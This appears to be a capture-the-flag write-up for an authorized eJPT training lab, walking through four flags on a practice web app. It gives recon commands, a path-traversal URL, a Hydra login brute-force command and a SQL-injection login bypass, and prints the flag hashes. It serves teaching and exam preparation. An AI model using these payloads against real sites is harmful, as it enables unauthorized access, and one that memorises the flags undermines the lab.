Web Application CTF 1

Find web application vulnerabilities in http://target.ine.local and capture four flags.

eJPT preparation · Write-up by Zeliha Zengin

Lab Environment

GUI access to a Kali machine is provided. The target website is at http://target.ine.local. Objective: identify web vulnerabilities and capture all flags.

Useful wordlists: /usr/share/wordlists/dirb/common.txt · /usr/share/seclists/Usernames/top-usernames-shortlist.txt · /root/Desktop/wordlists/100-common-passwords.txt

NmapGobusterHydraBurp Suite
Note: Flag format is FLAG1_MD5Hash — submit only the hash (no underscore).

All work is performed against an authorized INE training lab for eJPT exam preparation.

Flag 1 — Local File Inclusion / path traversal

nmap -sV -sC -A -p- -Pn target.ine.local
dirb http://192.214.208.3
gobuster dir -u http://192.214.208.3 -w /usr/share/wordlists/dirb/common.txt

The site has a "View File" feature. The file= parameter is vulnerable to path traversal — add ../../../../ to climb to the filesystem root, and request flag1.txt instead of the default file:

http://target.ine.local/view_file?file=../../../../flag1.txt
🏁 FLAG 1: fc36bf652cdb4804af157c32ae9ba1dd

Flag 2 — Directory enumeration

The Gobuster/dirb enumeration from Flag 1 also surfaces additional hidden paths. Browsing the discovered directories reveals the second flag.

🏁 FLAG 2: 90a7766ac5a8494c84bce2a648e9de17

Flag 3 — Brute-forcing the login form

Default credentials (admin:admin) return "Invalid username or password". Inspect the login form to find the field names (username, password) and the POST endpoint, then brute-force with Hydra:

hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
  -P /root/Desktop/wordlists/100-common-passwords.txt \
  target.ine.local http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid username or password"
PartMeaning
-LUsername list
-PPassword list
http-post-formSubmit credentials via HTTP POST
^USER^ / ^PASS^Placeholders filled from the lists
Invalid username or passwordFailure string that marks a wrong attempt

Found guest : butterfly1. Log in with the valid credentials to reveal the flag.

🏁 FLAG 3: — (revealed after logging in as guest)

Flag 4 — SQL injection to bypass authentication

The login form mishandles unexpected input. A classic authentication-bypass payload logs you in as admin:

Username: admin' OR 1=1 -- -
Password: admin

The authentication check is bypassed and the session is elevated to admin privileges, revealing the flag.

🏁 FLAG 4: 834cdefcc5684a78a748fdaf866825d3

Summary

FlagTechnique
1Path traversal / LFI via the file= parameter
2Directory enumeration (Gobuster / dirb)
3Login brute-force with Hydra (http-post-form)
4SQL injection authentication bypass

Key Takeaways